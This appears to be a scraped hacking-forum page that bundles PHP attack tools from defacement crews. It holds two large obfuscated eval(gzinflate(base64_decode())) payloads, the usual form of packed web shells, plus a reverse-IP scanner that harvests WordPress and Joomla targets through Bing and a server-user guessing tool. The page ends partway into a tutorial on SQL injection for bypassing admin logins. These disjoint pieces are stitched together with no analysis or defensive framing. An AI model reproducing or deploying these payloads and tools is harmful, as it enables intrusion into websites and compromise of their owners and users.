8ej+tuKvC/f5Ad1KAXttB2KcPTvaeG3qJMeyiPpN7sUMm4WeLyo1v7BwVoIU28ulQ9zjLxwKI5w7aXOxgXFxTsmlQA​UCZ7FGS65zFX7ZAttmRUbiUQYWXzSK6mWyK6/HP0ZvdiaMaDjEZqwFp0lfpJbpOwmFvcB1fLjf4UtSfEH0KOECrCB/wl/QPAtQlC4OWKhyf20RBnKmfcvT3NIvC+vLEeMZcoTsTFnZFjMjfwkfWEhbpQZJfOZecFcmL315Q0N3+vB​I6W35JQtDUUJQvGYmF2UmI87M6B+WdK2v5Ykk18U3zTY3LjWV2ZW3BBDILSENGz4w+I1q1Ya0XUGuOfZ​xjiL0PMhufpQ+WOg+wOlxxRevVM5wclnvAHHWRA3/lDpiTWSYASZKKecO5Nx9YUlX0dMHvped6mmYE+lO/NmJgjarX0R2ocxoYI4NYaNbuJA4Vin9WmaPlyEprVEzGFuBUq13b99lON7M5nSmD4KpAj49uYiinTnyC​Eo53YyUyJxUOTg04OEy4KWuCikD3vLrbYM1hK3ItpPhMb3PS1VNylVyHEBUexsjitVTY1F3V3yy7iU9I​mIAyswFGzT9JPMUfoO7EgHJrtsQDG863Jpy2cVb7HAeeztGs1QFnodiSk7ZJ+mQ9+mEUGyLP3sSW5gy8​DioHDT7u3CBQ+vaXN+QkbCxaONp0I6UCY1b0TVMNB4xRZZ+FwSOV9J/a/No2qQEDC5OLSVexIOqEp9W7TvDWisxbSHxcT3gk7egvsVf+IYqXCf7vggBZfMNsaTlD6Adzrr9xgSD6y​0Y+ZZ1nHmDyCOAVNgi6PcNfZ5OPDHW6pLbPOOMYYMDrjaFAVd9935zD++d3JGyPLg+JOtqISG1JCzeyV​0PLSiy+kR7hsT1Mk5kE60ergkvJsoFDNjkPWoa+s+8h2PFi7G9C/lX2wwLvB0FkoaIOXTmHwrvDBO2Zw+No3VzL7cdVO1ssD0vStZhltTL/hC7/OVYLbjiDici6FtdLX0e40axU9wvuE6msxL0rw0FKc9820uNrxre6e4ofv8mAz8ZKdD5gKDQNTUc5vkcr​/uv9tLoGn5/6mY6JDXT08fH2UN9xbPoghIpa9XvOXgWs1oE6bBDIvtvtHlO6L0KpL6GL7Pv/iRZzKxMxd3XqL9ZIrSf16Y0XZ+pfe9zpUu10OFclqoWL7irI0Et98+M1wgpcuFuliSpGYLs3Zy5R+cVh​UOTH8QBR25nvdZGBE8xtLWyAHKsyM3AuVhWLJSOU/lzkKw0//sWbOt4vBD/Lp5HjBKhsMM4Z0znMT4uyNHYDhAp9t5ERbtzUhASmr4witYn1avnw3iRlObFeCLOZw97D8XtfJQqmyls​31NfhtbsT+cU2yOT4dCf7JBW1WUtUDNaWFww1TmWoqv2abPkUbdB0bVDYNxfooeTo3Cy1jg2xeMksJ4w​2UpjyykHyl6ZNCZGxuXOGYVQO7U9pbCyfrSSXh6vvnoT9FEl1fMFv2xDId4w1dFlEH9bhW4CgUx1q5cm​eliEDJqEUwI5iiqCfTOYVlHftVEgIzMIonicC37h0wqHSSCwfXjfaax8yyJ76IqiD6F8gow7KVDXtEv5​9Ss5rStwE2TyaLxbvnDK8wMQTUU+2TBQwModxWJGM7RY3rsmm8IB9KiWw/Hzn9FGyA3iUcErT3YeDyJ1OqXjk6CV77ATN1z3UVJ6IW9WNuJ7dTr7zfrK01vcnhS2U5qzMh9Ousi3Kr​99Cd4AkpliGz4ZCF9xWHouJWG1oC18A7g+AErkQfBniBw73opZP7FEzvUtHaS8SQjf4pfVKSng17WaDk​KD70zFrB56RtLSYf5EMx54Uz6HJs3XvvTrmgg/B4HVQlKrY77RcOzL/NdQzHujj+V8OLx4IJkmltQKwYXyvO7G4rdNOxik74kagclcjbVNO2vWX9KLlXA+aPw/S/UXfUKlx+1Zrzghhj0wxWtd7AdUrUWz1fZgVIh2BjnIRAScmTvo7SIIaW/yQ/TlRx1Xo2xqda5dNNLtlyLoKWwN68cbQj34lYimH7lxazV7vf7QNwlz07shxDNkeSbWyV2pwWpRSXKFjj​ROS3nMq0o5C0k4BuywSagrQ+9+QVsvb1aKe6H/lQGx+3Q4tm6buzKO3dI/nV7Ti3uxVKJwpFd9bFkeByM6NSBV3afqNFt0jZSp+uGmDt2q5DiX/jJdFmyUBxqc01BA2CJcFRBvt30dH7kUeHjxM7xQkAvBiQAjHxvWCXoHm5JAEafYI8uB6vbmFdMwoRUTo​+e4pId3jFgfcdXkCvVP5uGXqTUFcjuVUgX/Q4KwcwK3F9KLSx1oMSGijDcNzwGH8k3azVHlxCH4oKxMAtak4tAvI2P7ZwAsvn5xxXGUKRl0+/gQ8LSQGLIegS2Pf6zHYxrQO6gL11kYIm6+u0rqBEX6YBxTuX71joYXwTvMQDu8Y4+zYwdAr3NAqgpMxk​ECCwhLPjzkNQ5bzJEKlQhcnUGD+3u8Fm8+3kR1hUKw7D49Ou4KjsuPTiTq6b6gTX0h0nKF2qOXw0WEFc​PKD4wcz4CFmo4zocQz9GyG2tlE2OWFVDanqXoGrTYKVZrb5TVEb+ds//KUFtwwIPY9vq20ZhIQc08FrfV1xc0PCkXy9X+kHiI+xCSVgf1rLGwnUVVW3Z+WBuaFu/jGfeD94w9d9YSJhCOKWdVKBAasaUko0745mvEZRlq4UWhsI644fPq2tnoJELN13GIDFCr3SPrbKYFOGK​14x6yEUXEH3i1nE73/vqPeVy2+XY096CT0Say1ZYgG2op/XwUxLW+Yd+VraGJVzTcLCdPNBy7W+piXUrR3kYi8DUNlZoWHN42K09gIy886D6bMAwJwdP97HgUgPW6/MylWRG6PczYgQxzfbA+MJSjvPoL1jhZ1R7MNxVJgEOmkNz5ArSV+rQ8ruDPy0o7Aa7P20D8VFyVn9qJ7​mDYe2czzl1YWHp2tyng51l7Utq+S3zSzNI5/rPIv9AGLS3iRUB9TBeiFjs+DrcXWe20uWg4NsRQCJRlS7s5efzu0eTmy40FdzaUlR+PuPfv+6AONs9FZ​95oZ1YczDk7zgUAMH1AtHiAjCrFervdX3PlJy+ipmiDs1AL6PZzB11b14f6rVfSB+EqNx1GJfr02KCPI​65olm3hLwR6qHGFXZ526g6PP+rBdFaA0l5IFD6Nza1/ecafNV4MpigmF1+poZ6dSKxz6XCZSSFwe+OGwglPB+wmdrs1PxjcQczB4FS4WD2F2McMBy+t0QBT6ezM​+nSzJh0L/Pq9Ac5KLn1sRPtSeLp0zyiCASuzO/S7UNpo2IekmJ8XZ8rZ2jv7S3sG4H+fVo5wvJJWDQy8czSnGtlV67W1eI+KNmBE1f8MnxBtxYg89IUXe8​KC9O+cReWEZ/WIh1hDEDwSYqk1kfP4ikRpz5cG+uOHQUECIpukt5MvPD3LU62+3dMgzKgTeViaYRzCDQ7Co/Mk+fUdSE0okAqy5f1mAnO7fOkPNjNE9KR/uuwwMRuzXdwghh78OtVYvgN0o+j2+UTldqEfXd+G3TZlmq0wCR4ezkvK4GKSeX03llZznluQ3Chq6oau​Yj5rJ3qEavMHRBI9bSqfwTlkcTMn1DyKDJ7Yi3rFtw8iRFbSLyfWw9S26/u+q9Bhv8h0FBAQYwoimN2bJnhrJfXGFddh1x5nLGMEOxNVOSX3emoFBNe0/GSkjwqmMdN5npLxWZLPNf967YU2XwLZZbp07zg/lN6BIgfJqGgtbPvWY+BaU+L5eisFwPt06zZ+0N8fQ+hYoMowHW3qZb7gmOzeNKng3vCMIceD7n4L79Pg​T12CSGJ5mVbKSzCMAQEJVxTLL7Om9cfII3kmUF8kMDZYa1TmHafOJ1A7Up3ufrlNfmdDfycYPRpkW0x7​G0bQ38WZ4Y4w5ztosZivIqTbuVjhwQc2YblB3+BN+nlgRQIiblE/YcbsEUxNeMw75ZdkJvm3oVEZKNucxhF0SRuRjmpNmcDnqg5xrFpr+hNkMORQg+0w8FclOHo0Onf0kwtx​RDTyMWqBWcqEEKH2GIP4paynVeuaBcHqrECw+35JEADy6veeIhSk+H/99ddf//7jn//8/c//AA==')));
?>

ip secripte Extractor

PHP Code:

<?php
/*=========================================|
|
# That Just Th3 ? Let You Know That'z ! |
|
# V ! v 3 | Arab |
|
# Th3 MMA , mEg0 , Dr.SliLnT HilL |
|
# Home : www.Sec4Ever.com |
==========================================*/
?>

<html>
<head>
<title>Th3 MMA | g0t aLL Server Web'z By Script ! </title>
<link rel="shortcut icon" href='http://th3mma.com/imagez/syic.gif' />
<meta http-equiv=Content-Type content=text/html; charset=UTF-8>
<?php
$sh3llColor = "#990000";
echo CSS($sh3llColor)
?>
</head>
<!--TooL'Z Start INFO-->
<center>
<p><span lang="en-us"><font color="#FF0000">Th3 MAA [ Scann3r Server ] Tool'z </font>
</span></p>
<p>
<img border="0" src="http://th3mma.com/imagez/sdg.png" width="409" height="402"></p>
<p>
<font size="4"><font color="#000000">Insert " <font color="#FF0000">IP</font> " Server , and Name oF "
<font color="#FF0000">Script</font> "</font></font></p>
<p>
<font size="4">Joomla!</font></p>
<p>
index.php?option=com_</p>
<p>
powered by
<a title="Powered by WordPress, state-of-the-art semantic personal publishing platform" href="http://wordpress.org">
<strong>wordpress</strong></a>. </p>
<p>
wordpress</p>
<p>
?page_id=</p>
<p>
?p=245#comments</p>
<p>
?p=</p>
<p>
?cat=</p>
<p>
wp-login.php</p>
<p>
wp-login.php?action=lostpassword</p>
<form enctype="multipart/form-data" method="POST">
<p><span

lang="en-us">&nbsp;</span></td></tr><tr><td
height='45' colspan='2'><input type="text" name="dork"
value="<?php if($_POST){echo filter($_POST['dork']);}else{echo
"ip:127.0.0.1";} ?>" size="70" />
<input type='submit' value='g0t it !' name='Scan'>
</td></tr></table></p>
</form>
<!--TooL'Z End INFO-->
</center>
<?php

echo "
<center><table>";
if($_POST['Scan'])
{
$array = array();
$dork = filter(trim($_POST['dork']));
echo "<sy> Dork: [".$dork."]<br>";
$pageNum = 0;
while(true || $pageNum <=5)
{
$bing = "http://www.bing.com/search?q=".str_replace(" ","+",$dork)."&go=&filt=all&first=".$pageNum."";
if(!preg_match("/No results found for/",Connect_Host($bing)))
{
preg_match_all("/<h3><a href=\"(.*?)\">/",Connect_Host($bing),$sites);
if(count($sites[1])==0)
{return false;}
for($i=0 ; $i < count($sites[1]);$i++)
{
$site = str_replace(array("http://","https://","www."),"",$sites[1][$i]);
$site = substr($site,0,strpos($site,"/",0));;
if(!in_array($site,$array))
{
echo $site."<br />";
array_push($array,$site);
}
flush();ob_flush();
}
$pageNum += 10;
}
else{echo "<sy>No Results !! .</sy>";ob_flush();flush();return false;}
}
//$array = array_unique($uSites);
//for($i=0;$i<count($array);$i++){echo $array[$i]."<br />";}
}
echo "</table></center>";

function Connect_Host($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_FOLLOW, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$data = curl_exec($ch);
if($data) {return $data;}
else {return 0;}
}
function CSS($sh3llColor)
{
$css = "
<style>
BODY
{
FONT-FAMILY: Verdana;
margin: 2;
color: #cccccc;
background-color: #FFF;
}
sy
{
color:".$sh3llColor.";
font-size:7pt;
font-weight: bold;
}
#Box
{
color:".$sh3llColor.";
font-size:14px;
background-color:#000;
font-weight:bold;
width:500px;
}
tr
{
BORDER-RIGHT: #cccccc 1px solid;
BORDER-TOP: #cccccc 1px solid;
BORDER-LEFT: #cccccc 1px solid;
BORDER-BOTTOM: #cccccc 1px solid;
color: #ffffff;
}
td
{
BORDER-RIGHT: #cccccc 1px solid;
BORDER-TOP: #cccccc 1px solid;
BORDER-LEFT: #cccccc 1px solid;
BORDER-BOTTOM: #cccccc 1px solid;
color: #cccccc;
}
table
{
BORDER: #eeeeee outset;
BACKGROUND-COLOR: #000000;
color: #cccccc;
}
input
{
BORDER-RIGHT: ".$sh3llColor." 1px solid;
BORDER-TOP: ".$sh3llColor." 1px solid;
BORDER-LEFT: ".$sh3llColor." 1px solid;
BORDER-BOTTOM: ".$sh3llColor." 1px solid;
BACKGROUND-COLOR: #333333;
font: 9pt tahoma;
color: #ffffff;
}
select
{
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #000000;
font: 9pt tahoma;
color: #CCCCCC;;
}
submit
{
BORDER: 1px outset buttonhighlight;
BACKGROUND-COLOR: #272727;
width: 40%;
color: #cccccc;
}
textarea
{
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #333333;
color: #ffffff;
}
A:link {COLOR:".$sh3llColor."; TEXT-DECORATION: none}
A:visited { COLOR:".$sh3llColor."; TEXT-DECORATION: none}
A:active {COLOR:".$sh3llColor."; TEXT-DECORATION: none}
A:hover {color:blue;TEXT-DECORATION: none}
</style>";
return $css;
}
function footer()
{
echo '
<head>
<meta http-equiv="Content-Language" content="en-us">
</head>
<font color="#000000">
<p align="center"><font face="Tahoma" size="1">c0d3d By Th3 MMA &amp;
<a href="mailto:i0x0@hotmail.com">Dr.SliLnT HilL</a> &amp;
<a href="mailto:m3go403@gmail.com">mEg0</a> </font></p>
<p align="center"><font face="Tahoma" size="1"><u><font color="#FF0000">GreeT\'z
</font></u>: A-Kill3r\'z < 8 MON ! , Sy Eg Dz pl c0d3r\'z&nbsp; </font></p>
<p align="center"><font face="Tahoma" size="1"><u><font color="#FF0000">Fly
sh0t\'z</font></u> : Syrian 34G13 < My Bullshit Bro , Mr.Black , X-Maj!D , b0x <
5aoa Mind , X-Shadow , Ma3sTr0-Dz <3 , Lagripe-Dz , jH-Team , </font></p>
<p align="center"><font face="Tahoma" size="1">Th3 MMA./</font></p>
</font>
</html>
';
}
function filter($string)
{
if(get_magic_quotes_gpc() != 0){return stripslashes($string); }
else{return $string; }
}

footer();
/*=========================================|
| |
# 2011/15/11/ |
|
# Th3 MMA |
==========================================*/
?>

ip sites extractor

PHP Code:

<?php
/*
online encode by cha88.cn!

*/
eval(gzinflate(base64_decode('FZjFDsRIEkTv8yM7Ix/MpIWR28yMl5W5zdimr1+vfDOoqrKyIl747//86+/5O//xR3mk/Z/104xVn+7ln1m6lQT236LMp6L88x9CUsLQFtR55z2VIx19LV99KGiPfqmRqIoqnpboSrdq0hLJupK0BoI​4CQJHlq0WiDtRMWIPkK34uOrtb6nKLIk+Vgomgb8lVWSBAOeFvwSNLpkFTyX189xnMvpxgntElDVvRvD​CT6sn3+ms7Fffp2uluZKTGSYsLPErf8LuOafGCC+zWJcGxgywyDvY/I4c8OEYhQm6/QPpIuZndgyz8LFQO8x9e15B+hu/ogTr1DjS5T2INGyAH6AqYde0v+1sqgWmo+y24nvLLy1WcZmcK7uzdqajFwx11o6ajz7FFAbtH+aFI60t​WRn2MM8Co5vpXBnBXNM8wal2Vu4W+KgailwZvWsEpMybiQZQtCRcIMO3Cb0QZum5EmWccKaGSBD6ut/y4X/G+PtEdetwZf6kv0f1zzKLRO/j6y7o4cYEoT0EABxi9seVgnOGX2px7ZbrqRLozXW33IxRDFdQRwbmPPTjjz9O3tamdnuKX4N0jgV1Lm4​ZbLghVlF5CkRX77NciyVzIAdsZ5pEi6k8xShTurqWEReb110elkoicsONRco9jE11BH+4o8oMV3QXkJj​E5dRbHedWLMx7G2jmNesUd5f1vQa1dd8ou6DRVjaFImptHV6lz7dZvMu2z6TZ94vnqRIvHPsA/j71lxYsTgrfuACO2A9vgvnb7s1eEGSvEx+0ixfnbr4c0oGH1XVZNX1LjPkC4b4hnqlLR/oAnjYivqTxA3ceHiFznfyQGn187jvs1AVv9qETKpUeGaX/TDF80D6LqGf2+wHjcvq/ALrjtimPLtthpCVLtwAHk7yFos3FOkQBlWCNcRGrrnVSiGGvwcTEkcbuhLMXaULDxPlOeO4Zpdnd6mJG​ljHofaEORQ1tP7rq4nMRn8++uBKPYVZ2YArYk1b+Axxx2wNHIE8hXivEXZ5fVlV1iv9aDf1QG4l+NXcA​YIPeu1GdDwb9rQPj2j8TTZsW4/LcumHrC9M8xRKSlJ5WxJ1qRiAO3ilsaTjYvc3GkCVkhHKSrZ1qI0c45S4dnhmihEdzQZjzNHzZCnNlU/jYeAITq1a5kcf3fV+hChLJUjb9KK4rSL2h9smwlEindPNa4mbI6UgA5rL7zc49kXF05f2emJCpwpBvPa​4FuqG8PAmgeh1TVhaitwlyQVR8zoBuTlq/1UAsHpXtAIHYlmwYv/VXhPKm0oMlBLXdQzLtNdyvpSutrgqMCb5nJnvNo6/YPGZ85WU3nNj9GyExKUAcsh0ji5G86hOVQzk+0RKP+DolTiXmfkIUucGwrPupF4yZPk4nGka0jzDoltq​3PYDfVYT323ANEp/6YswVjiPQZ60ww+7ccadpad7CAS9H1BwqFx/8DSPch4x2sVpQOz86+/K6Pju4mPtsC3Wr9zf173ORcAccpw+/ZzHmBPsOph3G6dXxliW4nN8Hko2eEWamkKQPaTb5DMWYDONnqR/oaYPglN0tNk8sJy1g+j5GL4bgaurXZytzAVj43e8qYg3WsVHogcwt8xgWXp/fMLOnZe9PGwzb178Xiok5b9g9xJ0PNfx4goC6+6YKWg0UrG+sVyz/fvCaalIzSX2EE/LojSF3MkMs1QOzUJh6VLns9zoKy9bqZnrDsVBoOR21VlWOR9JtJif1mQ8WJrH8ougikZdcImbohyIQNn​m275+cc7MygaXVSuuXmEdJLASg0o60PI6dr7m1Ebmf2hMUzhYmmS1S76a4kLevowiuMlApjloP0qIXJN​+3SLUeTUvXWv5sRQlrMjuZg26WLmoh4lOcGm9Cth6oNTP2aypDhBEXV/etVn77ZfHrS5rL7fwjOGplwmCFxWHaqo3RJjkvllJ3eFvwvsx86MM6MfieEu67aRitCjKjkh8W1GaZFE​6SbTOYC3K4VvC3ECHRguOcX0c37Sjh3EFQzNOU0dQ6cE7x6cA6torIS1nEYoSb73jZ/xTENVPamOQSf1B+n2cioUMbYVRkYJXkFmEI1b/Scpxob5mhe2ZCuhrESn0JJGDXny5ESNpfPP4DQWWXtlEAhnZLhf1t1Fh9ktqj9AexDxvjV4X3uJ9scsa​SrzJ4CEyLXzz149iM6DzzESJqWH7QgoH5YLyXziMAKfONEQUK2wbuI+l73X/g2uIsktiNNgr6BnTPdcwc0RfrVgpRbhysCNud2f0VPTrevtIoC+4vWfUNrkBei+Knoo2j0z0LMW6o4wM​sNSHfHYQBxA4FCY3GhbQBW1kU9qNgxFyL/0yg2wLQseMOo2l+DHZsQ6FvokdKz9eNsxqI92PLDwnaE4JBuvJMZMERWrOGJIvOyk8CYsUkK5mq+6W4l​LZ5v/rwPo7Z7Z2KEWN8jrPpOgqGqKxJnjwSfEyMu8HN5erAiVfDRWh1/KetriiPKpcmTnJh5uT2hYU4DY28ho4CDZUm9arVmBgGjECVK7/rVMaL3Jui8KosVkPyXOxL0s9VttgCMwhuXk/CXUxoJY01+szMbYc/nX0usHOrqazIpL8Kfyx+K8W0Iga0l1yR1LklffTq6uNo9r8LgEBF46RK1Wbib3hPlNfvBjTVJtCSMP2h​kGY+Q9DoS8iyBMWqtRz8fngggfkyPo9hYEHnXuAB/MUNWWTOy4RQJ2D80ugF2BLYibP8QZLzgJZ379223H6sNm7i7nFwXtZFmg63oHkVlflZZauD9uqkHwbRr​RBTa26yOKMgfAt3/LP1lIPmcDsILfh57h0HNqD6accO99XF9U6DEPAw8lZElX15sa9Z9ruf8QvydDoWPMFrzKiMkyhGpuuFE​v7mRSgfQsOTegTojnhz6n3cseUwtcKiANOiCR5rPEGATmTGu0wvbzRvefOKcBvF7Z1SdceFjrS1ndU9z​06xUaGkwrIbQKHKamR2PgjRsbSQOKNNvXwm4MOo6tga2G3Q+du8u9E95+6E771DL+t2jMbeTfgX+RHi6​5rVlwni8ym+uk7JFAY6TcTc5wi/Nk2uK114fSQ0YS252hR9DW4ulPY1gngkhKhGTqad97MTULAPFnALkMP8DkmQTh9c6udgWkt/7LWBm8nOUqPqgy9D9eX3B2fjRVsR6MBmi3brZJp7IODQ5aO/ZY6UnY6oJAJ1FgtQN4yqev+OcDo5ZA4FNlVcfk+sELhVzNd0gnfITrgHw4il92CpzIsm+BK1Nj5+gRae​liRjSPJT1pEEwnSw2h+MaBu2uIArFr3xS6NRFT0AZTZMvO4/DbGRefLbKcnTDiCp1iA4TxeYsDTYTnUUjBQ0tLqvvq/nNGz5q5YyZ+Ry0weR+/mwOB2YH0YkLEC5zGULVrR2DP6SiQkiWMbzAzuVJh1ZRGl78LqowpVUsOxRs3vkvmqkLhszQLe72I0It7​nkCt4Xcj+a8uJd23owrESMpng6ycixJctc1J/o2Di8BryHADmzcPmG61a6tJTjVBq3nwle970GCPC4YF5/Rl5l7uvnVN84TwbnzHuDkKleUcw4yu9A9oJQ/ZCvLoDSsF0yCgl7YW+qRbSxaLJpFaOlJAFte/as9iK+m/ZMchB36f92AtMQ3QzPRHQBeXLDsGIQcHGSUL5A4DN6C0466Dz4YOSyEg4QmiPQWHGnZhXHxW8K87dmEt​6bYq2ILvsROOLMhaXylV5jM0z+fGJ/cbINjEI75F7Qze60jxr7F9tSCl+gdePDaW4tWHN78Ya8So9whoIu+lx3ZRnMtUgcNi6gEtI5AggBZC6T​XRSAekC01awXSud3QZ4TDEnVmgjTuibj/t1qEVSw8YiNbSFLoegPa7FU7ma94qw6Db8nPegM1UNISXeG6BocEopiaY4na6d36/ke497bKrS8wQ6nwJ1jqsjUdKpwGkNcGF7DL5DaB+llx3CmySgf1nl0IEU+4ksrNJOleff3nYum0+iJon​k9CxUwfb6dspzXQKc/JbekU6td7QAdwvlWlwMn1DeQn17EXS4/G3rQZsn/Pgnme838tLlmrWqWIup+VvqCXMMQnY7D52QbqAHExNKtYNEyMU/Ucp3h1T4vPydI8/xQXLeRg/LIcFylVX5cGqFHmR/d364FTrt8KjEsAhqFzzni+gwDqXUVdHoRBwQDSaI4Mz0Lnz8NNHmYmLfrLNeGLv9QFL6BSyLY6g3lFSu​t1LGrHYp1tOe6luDvFhHgEMhEv+cKAsGPpEyDcfU8GGwH7NXb+eqDFCnrSp2+mVM5cyWWu3ry2nhI3Qr​wcqZbKjEAlrrMW2f2YGzsXlFAIYUl9RMcvwZzG61tkly/vqNz5xogbEwrJPgTI2wDO5FTZPBXNTJBARVwN6E4gzlUwtOpkm5TdA69NUwgLh2XVyjqZdHgvSAH55nk​ESSzpjyqIqruVMmo11ZlI2Krn6mqXjmGS+gGK+X87m5esLotkp8cvH9DFrxZw1apmYSpgJpBD5zbG9j6​Lv/EP3cms1EmT6UGD9Xle1aF9ySQIkqTYVSy3XEuUtglPxjcGhOg0lrn+zF3RWwFI17FPRk1Ry5Wvtvot5s​yS+PP4iie3K3zmvwVqo/xDXVMXciAyvFfw+8Pb31EL7dSrPmJuSRsLgu5+BU7klAz3SctiEay2jzqgePATl8pNAxktzlph6wQuTc​OHHVi47Y31PmoXSbcYuvMFWeH+x0ja874muDHXDR+VOOwvkEwUK+Q6t0274PcNM/fygErsozCim7oyZqeNLsUnkujynLCKww1VMd3qHZ2W+TMYeXGxK1a9xv4KkmWMQ4hxGiGxjtG+fddYk/j7lzAv/XQ8KaKnl66Tles0kHnyDD73WNCfYvwtLqrHw+O5oJETWlLf38JLjnbSs5wZcvNW9sk8vbRGwQQWKoCC/kNeSmW7AHUvpBGUV9vuaoIMniqQ60z9JDHWGnvkR67C8oA22lmAxo+Yu9DWqV2y50f63tw0cFjaVssfh​X1U4v5uWUqhHNNG8brAWBEuS4//JLGkvsqOapkJziOl+0mAE0DhgMbRQKWZKbYS/OdgNNcl+pzYQH0Rg9j+7hf2DOm+ICBaBlpotrPoeGC8FCq0PokNRbwCVMdKfhm8+r+yqCqM/WXMtyDAxjTj8odTY+sNki+3cH+EMcq8+OECMcBiDynhCn907HfvHYCUZYjqPpGZi6RI3ARNBEiVwI+wN​TynrDr4buuX0dpkv6UyViLyKrC9xvB8KfqJ/Mi0Vpeo5HYgEOT83Nu9OdXY7F2T5TucTJYJJwVRS2FQNmnY0yM6dNT5KMvQlOkcX3eYL3/XMz9XBq84pDM9KJ57tkB8JpgIgySCBBg4tug6VxIikn2Ghi91z6kfDD8siMpwnUY18X+MFkrHUcKlnpN​def6xcuALYu4dsnTnEzKoJCymuIPx2xG5nymXybbIcV12qFwaFjbTPJ7NXLpyj7WKgPfYaKw5RDD4cQO​PsvroImMM36xwWDrsJU8+vNjSXuSNy/KwvLA1UHTeKIAzrbI9uqK1LrKwg9/5R+T+NpdHicghro32+PpiNSuD38E8S55Jm2UZh6/L/Bk26jprT27CBL4+vhGRpgQGtMKPb8u6zVOsRoMQBDnHWSWu8pUnO9FIH0iXoO2WE6rUIxQxofhdVloVe​4VB/54J+vUTSFTrHvk8gMovOQSArIC/QxBKmSiUUP10Le7cZG2bG6hXT/rmMzs1RlxAk3CfgKQQk2ujWeM71HjT5tjyoA+D+ANSI1Se83ZCEkn0aZTn4nEIED4ksJT4arsS6gm3Ic​/bBN6QVDJLBuG5gkqdRYeXaZNhF/ubYjW0t39pbiveqxT2b2pc+HrWhLZkBN132p02fqo2t7Tgx8VTmp7TbWmv8Sm5DecXKjc+NWyFndyqZE​XA/2l2mUwZyXk0L/VdccifgGC+CRYIkU3zq1DHgSiGHKEYnRSdv6MRnlgQfv/31fSDuExAvkq9xuoo47VrEYR0Ilu87kHLfu8nimXhOzbgaAY7aDoC6NYP8DgWf7Cehv9d8CHDr8pYoca​VFofWKIx/5jk71KFjr6DH2Jcr0rhh6UaoNo81uirArAB73GAUET60eYFkFNJmJEHYd6lGaS7GuXVo0MJhvmo0Hp0l​/VLiVHISUU9tsqDirC0wFCPQj6fdXIzp7lFCNIxPxDl42E/z4gjW6TLK4vKy34EhANhA931ZjvHmIWegc+P7LAXcg97cBsp9A7LkKc2tovE0sZqrV1cHZcAmZbdqSLO​/XAWqxpwTHa5+g79nTqQBxZkTnPuGG2H3P7Od0LiU1FcnWvx6hhylUuXJxw6TRie97XJaItQ9Jg1ZBAzL​8RgBDAno1VRk40vyJhL5XtPM2D4C2xcBVLsxdEz4a46Eob34OnSTFGQJQV4ZVY3XGNqYETjwcN62qU13​E7btlrcVrYV0rXY9sySUEeKDLnpGeg+LT6obn92v1dV1I1DkUmZ08sP7c6ZBTe1gUT0/NQrI0wkh0/lJVFLVp/fZA44MSUDoxoIaYpTvVdKk/ef8KepTp5vjfOQZ9QUIhtE+0+aMVxpIeEAgMabHI7UeRz5quqB/8AXTQTG12sJ+E5ecVHlKxDifqA5di1hcEH5gwnaXsWC0Vc6LvNQ5xItKKk4pHKFpxA8p8NCZrDbYPfLI​S4fawPP2rdRlcQqRnbI36U8eYclphbrBk2DAJAr6dcd5VM+Aq1RnQPKar+c8WRw36a37IudiaP9IWGrN​iVg+nOTiGOGJyQNKy9NoDO55yhZY2p3cmdE4LwfYnSM7cSHub6VziAiC2r0YGZHlOyrwcQb9fFR6Qcgu​y7wwac7MCGG0qNuDJnvgDXVVLOoCBHsi1OTfVzew2m04ogpOoqRQAr/dcz3Fp8a2QDjxQnW65bmoHDJfBvEN5GFGYaglXkZfJHLwx8TTew24sU8E0bYqDlXfD43raN4aIQC0eKQ​Tx31kWqA4zxv5O/ZoecgSFavprXWqsEVGve+iQtVBIaDcbBfc+6/TvI7vpf6JmFOtrrXPMX9W7VLmivT2+1JnVFhiWTKboTSRrUJaud6ziBrDb54jyr0Sv8OU+KGfcgcNLB9​mQOZWKzSVaCjTvq6d2xYJGk4Uyjidb0NFEj+8EDvfMCdGjsZFIxb7qTo8w9Wr1swBriBh+DB1VaYrknf​ml72Yp7lXythSumAQmxBkmzlMkdV1J0Jpl9INfmzcFxhMuXxY/KhsnURhlyxUR9hFXWMfUqM/WFB/zOA3wME2wgECRgFAYwGQQoG3zvUv//x119//fOPv//zr7//Bw==')));
?>

server users extractor

PHP Code:

<!--

Title.......: [ Server User'z Gussing ]
c0d3r.......: [ Lagripe-Dz ]
HoMe........: [ wWw.sEc4EvEr.CoM ]
Date........: [ 01/03/2o11 ]
MyBlog......: [ LagripeDz.wordpress.org ]

-->
<html>
<head>
<meta http-equiv="Content-Language" content="fr">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>#~Server User'z Gussing</title>
<style>
body,table{background: black; font-family:Verdana,tahoma; color: white; font-size:10px; }
A:link {text-decoration: none;color: red;}
A:active {text-decoration: none;color: red;}
A:visited {text-decoration: none;color: red;}
A:hover {text-decoration: underline; color: red;}
#x{ font-size:15px; }
input,table,td,tr,#gg{border-style:solid;text-decoration:bold;}
input:hover,tr:hover,td:hover{background-color: #FFFFCC; color:green;}
</style>
</head>

<body>
<center><br><br><br>
<p id=x>#~Server User'z Gussing</p>
<form action="" method="GET">
IP : <input type='text' name='ip'>

<input type='submit' value='ScaN'>

</form>
</body>
<br><p align="center">
(c)0d3d
By <a href='http://lagripedz.wordpress.com/'>Lagripe-Dz</a>
| <a
href='http://wWw.sEc4EvEr.CoM/'>wWw.sEc4EvEr.CoM</a><br>
MaDe in AlGeriA 2o11 (r)
</p>

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MYSQL INJECTOR

2013-08-27T12:30:00.003-07:00

MYSQL WEBSITE HACKING TUTORIAL

Hello every one .
I am going to share with one of the best of my tutorials here .

Now Let's begin!!

Sql injection (aka Sql Injection or Structured Query Language Injection) is the first step in the entry to exploiting or hacking websites. It is easily done and it is a great starting off point. Unfortunately most sqli tutorials suck, so that is why I am writing this one.
Sqli is just basically injecting queries into a database or using queries to get authorization bypass as an admin.

Things you should know :
Data is in the columns and the columns are in tables and the tables are in the database .
Just remember that so you understand the rest .

PART 1
Bypassing admin log in
Gaining auth bypass on an admin account.

Most sites vulnerable to this are .asp
